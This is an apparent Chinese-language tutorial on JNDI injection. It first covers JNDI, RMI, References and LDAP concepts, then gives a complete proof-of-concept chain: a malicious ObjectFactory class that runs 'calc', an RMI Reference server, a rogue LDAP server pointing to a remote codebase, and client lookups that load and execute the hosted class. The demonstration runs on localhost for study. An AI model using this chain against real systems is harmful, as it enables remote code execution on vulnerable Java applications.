JNDI 注入
JNDI 基础
JNDI (java Naming and Directory Interface) 也就是 java 命名和目录接口,当程序定义了 JNDI 中的接口后,就可通过接口 API 访问系统的命名服务和目录服务
JNDI 中可以支持很多种服务:LADP、RMI、DNS、CORBA等等
但是 JNDI 不会指定哪一个服务,而是通过 java 的 SPI 机制,这个会根据你的参数自动选择对应的服务并寻找对应的接口
| 协议 | 作用 |
|---|---|
| LDAP | 轻量级目录访问协议,约定了 Client 和 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
| RMI | Java 远程方法协议,该协议用于远程调用应用程序编程接口,使得客户机上运行的程序可以调用远程服务器上的对象 |
| DNS | 域名解析服务 |
| CORBA | 公告对象请求代理体系结构 |
这里的命名服务和目录服务与常规的理解有点不一样
命名服务
通过名字查找对象
- DNS:通过域名查找实际的 IP 地址
- 文件系统:通过文件名定位到具体的文件
在命名服务中有一些重要的概念
Bindings(绑定):表示一个名称和对应对象之间的关联关系,又名称和对象组成Context (上下文):代表命名服务中的一个命名空间,并提供了查找、绑定、解绑等方法处理名称和对象,Context使得 JNDI 的命名空间可以类似文件系统References(引用):表示某个名称对应对象的指针,命名服务利用这个来提供对对象的间接访问,能用工厂等方式重建一个对象,而不是直接返回一个对象
目录服务
目录服务是命名服务的拓展,不仅可以将对象映射到名称上,还可以为这些对象提供关联的属性,通过这些属性可以过滤对象
JNDI API 和 SPI
JNDI 包含两个主要部分:API 和 SPI
JNDI API
API 是应用编程接口,是 JNDI 提供给 Java 应用的一组标准类和接口,用来执行命名和目录服务
命名服务
Context.lookup():根据名称查找一个对象Context.bind():将一个名称绑定到一个对象Context.rebind():重新绑定一个名称到一个对象Context.unbind():在这个命名空间中解除这个名称和对象的绑定
// 创建 JNDI 上下文
Context context = new InitialContext();
// 用名字查找数据库连接
DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase");
// 获取连接
Connection connection = dataSource.getConnection();
目录服务
Context.getAttributes():获取对象的属性Context.modifyAttributes():修改对象的属性Contest.search():根据过滤条件搜索对象
// 创建 JNDI 上下文
Context context = new InitialContext();
// 查找名字
Attributes atts = context.getAttributes("name");
// 获取相关属性
String title = (String) attrs.get('title').get();
String department = (String) attrs.get("department").get();
JNDI SPI
SPI 是服务提供接口,是 JNDI 提供给 java 的一组抽象类和接口,用来开发特定的命名或目录服务
- 命名服务提供者接口:需要实现
javax.naming.spi.NamingManager类和相关接口,提供命名服务的具体实现 - 目录服务提供者接口:需要实现
javax.naming.spi.DirContext及其子类,提供目录操作的实现
SPI 允许不同的命名和目录服务集成到 JNDI 中,使得 JNDI 能够支持不用的服务,如:DNS、RMI 等
同时通过 SPI,能够拓展 JNDI 框架,不需要修改 JNDI API 就能够支持不同的服务
JNDI 案例
实现一个利用 JNDI 接口调用 RMI 的案例
接口
Remote 接口,任何打算让客户端远程调用的接口都需要实现这个接口,并且所有在远程接口中定义的方法都要抛出 java.rmi.RemoteException
import java.rmi.Remote;
import java.rmi.RemoteException;
// 实现了 Remote 接口
public interface Hello extends Remote {
String sayHello(String input) throws RemoteException;
}
实现类
UnicastRemoteObject 是 RMI 提供的基础类,只有继承了这个类的对象才是 RMI 远程对象
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
}
@Override
public String sayHello(String input) throws RemoteException {
return input;
}
}
RMI 服务端
通过命名服务,实现了服务的暴露和发布
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException {
// 将 Hello 服务转化成 RMI 远程服务接口
Hello skeleton = new HelloImpl();
// 将 RMI 服务注册到 1099 端口
Registry registry = LocateRegistry.createRegistry(1099);
// 注册 Hello 服务,服务名为 Hello
registry.rebind("Hello", skeleton);
}
}
JNDI 客户端
Context.INITIAL_CONTEXT_FACTORY 指定了要使用哪个 SPI 实现 API ,这里指定的就是 RMI 服务
Context.PROVIDER_URL 提供了 RMI 注册表的地址
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Hashtable;
public class RMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
// 设置 JNDI 环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
// 初始化上下文
Context ctx = new InitialContext(env);
// 通过命名服务查找远程服务 Hello
Hello hello = (Hello) ctx.lookup("Hello");
System.out.println(hello.sayHello("成功连接到RMI服务,并且实现"));
}
}
最后先打开服务端,再启动客户端,就能实现

JNDI Reference
Reference 是一种轻量级的、可序列化的数据结构,不包含一个对象,但是包含了重建一个目标对象需要的全部信息,一般是用来表示不直接存储在命名或目录系统中的对象的引用
Reference 类主要有以下几个构造方法
public Reference(String className,String factory,String factoryLocation)
public Reference(String className)
public Reference(String className,Vector<RefAddr> addrs,String factory, String factoryLocation)
className指定了引用的对象的全限定类名,告诉 JNDI 要加载哪个类
factory 指定了用于构建对象的工厂类,这个类必须实现javax.naming.spi.ObjectFactory
addrs包含了一组引用地址,这些地址包含了重建对象的各种信息
LDAP 协议
LDAP 是一种应用层协议,用于访问和维护分布式目录信息服务
主要是用来身份验证、信息查询、集中管理用户信息等
默认端口是 389
- 目录服务:LDAP 的目录服务是按照树形结构存储和组织数据,是设计用来快速读取数据的数据库系统,但不适合频繁写入
- 条目( Entry ):是目录服务中的核心数据单元,一个条目由三个部分组成:对象类、属性和一个区别名( DN ),区别名是用来定义这个条目在整个目录树中的确切位置
- 对象类:对象类是条目的蓝图或者类型,每个条目必须由一个或多个对象类属性,定义了这个条目必须要包含哪些必须属性和可选属性
- 属性:属性是 LDAP 目录中信息的最小单元,以键值对的形式存在
- 区别名:DN 是条目的唯一标识符,由一系列用逗号分开的属性/值对组成,描述了从当前条目到目录根的完整路径
每一个属性/值对称为一个相对区别名 ( RDN )
LDAP 协议操作
- 绑定:客户端与 LDAP 服务器建立连接并进行身份验证
- 查询:客户端用来查询目录树中符合特定条件的条目
- 比较:检查某个条目中的某个属性值是否与给定值匹配
- 添加:向目录中添加新的条目
- 删除:删除指定的条目
- 修改:修改条目的属性值
- 修改 DN:修改条目的 DN,从而改变条目在目录树中的位置
- 解除绑定:客户端通知 LDAP 服务器结束会话,关闭连接
JNDI 结构
javax.naming:主要用于命名操作,包含命名服务的类和接口,定义了 Context 接口和 InitialContext 类
javax.naming.directory:主要用于目录操作,定义了 DirContext 接口和 InitialDirContext 类
javax.naming.event:目录事件通知,让应用监听命名和目录对象的变化
javax.naming.ldap:LDAP 协议专用扩展
javax.naming.spi:SPI 的实现
JNDI 注入
JNDI 注入的前提是能够操作客户端 lookup 方法或其他远程操作方法的参数
JNDI + RMI
我们需要在 RMI 服务器上绑定一个 Reference 类
恶意类
EvilClass 就是远程类名,同时也还要作为工厂类名,所以这个类要实现 javax.naming.spi.ObjectFactory 接口
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
static{
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
throw new RuntimeException(e);
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
服务端代码
Reference reference = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8002/")
攻击的核心 payload ,这里接收的是类名和工厂名,最后的地址是工厂类的网络地址,这个服务器上应该包含 EvilClass 字节码的 .class 文件
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
前面说过,要让 RMI 适配基础类,就需要实现 UnicastRemoteObject ,ReferenceWrapper 包装后的类就会实现这个,将原本不具备远程能力的 Reference 对象适配成了 RMI 远程对象
- 但是
ReferenceWrapper在后续版本被移除了,需要额外引入 jar 包,这里用的版本是 8u65
完整代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JndiRmiServer {
public static void main(String[] args) throws NamingException, RemoteException {
Reference reference = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8002/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 将 RMI 服务注册到 1099 端口
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定 Reference 对象
registry.rebind("EvilClass", referenceWrapper);
}
}
客户端
这里踩了几个坑,因为前面写的不是全限定包名,所以如果不要远程访问的话,就需要将代码放到 java 路径下

如果是要远程访问,就将这些文件移除,并且文件中不能有包名,然后起一个服务
python -m http.server 8002
可以看到成功访问了,并且实现了弹出计算机的功能

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
public class RMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
Context ctx = new InitialContext();
Object lookup = ctx.lookup("rmi://127.0.0.1:1099/EvilClass");
}
}
JNDI + LDAP
利用这个也需要 Java 开启一个 LDAP 服务器,需要的依赖如下
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.7</version>
</dependency>
LDAP 服务端代码如下
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.UnknownHostException;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws LDAPException, UnknownHostException, MalformedURLException {
String url = "http://127.0.0.1:8002/#EvilClass";
int port = 8003;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
public static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL url) {
this.codebase = url;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result){
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result,base,e);
} catch (MalformedURLException ex) {
throw new RuntimeException(ex);
} catch (LDAPException ex) {
throw new RuntimeException(ex);
}
}
private void sendResult(InMemoryInterceptedSearchResult result,String base,Entry e) throws MalformedURLException, LDAPException {
URL turl = new URL(this.codebase,this.codebase.getRef().replace('.','/').concat(".class"));
System.out.println("Send LDAP reference result for "+ base + "redirecting to" + turl);
String cbstr = this.codebase.toString();
int refPos = cbstr.indexOf('#');
if(refPos > 0){
cbstr = cbstr.substring(0, refPos);
}
e.addAttribute("javaClassName","Exploit");
e.addAttribute("javaCodeBase",cbstr);
e.addAttribute("objectClass","javaNamingReference");
e.addAttribute("javaFactory",this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端代码
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:8003/EvilClass");
}
}
参考